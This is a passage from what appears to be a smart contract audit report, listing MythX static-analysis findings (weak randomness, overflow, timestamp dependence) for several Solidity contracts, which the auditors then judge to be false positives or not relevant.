125	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
130	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
135	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
166	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
183	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+=" discovered
184	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
184	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
184	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
186	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+=" discovered
192	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randonmness.
209	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
209	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered

LpTokenVestingKeeper.sol

Report for contracts/LpTokenVestingKeeper.sol
https://dashboard.mythx.io/#/console/analyses/f3ce153f-01bd-4a19-be67-500482ab1131

Line	SWC Title	Severity	Short Description
20	(SWC-123) Requirement Violation	Low	Requirement violation.
32	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
83	(SWC-123) Requirement Violation	Low	Requirement violation.

EmissionsSplitter.sol

Report for contracts/EmissionsSplitter.sol
https://dashboard.mythx.io/#/console/analyses/aea3de29-4b68-47a3-8e02-ae0211b5a2bb

Line	SWC Title	Severity	Short Description
134	(SWC-116) Timestamp Dependence	Low	A control flow decision is made based on The block.timestamp environment variable.

No relevant findings came out from MythX. All the Integer Overflows and Underflows are false positives as all the contracts are using Solidity 0.8.6 version. After the Solidity version 0.8.0 Arithmetic operations revert on underflow and overflow by default. block.number is used but not as a source of randomness.

For the contracts LpTokenVesting.sol, DAO.sol, VotersInvestmentDispenser.sol and EmissionsPrivateDispenser.sol MythX did not yield any result.

THANK YOU FOR CHOOSING

// HALBORN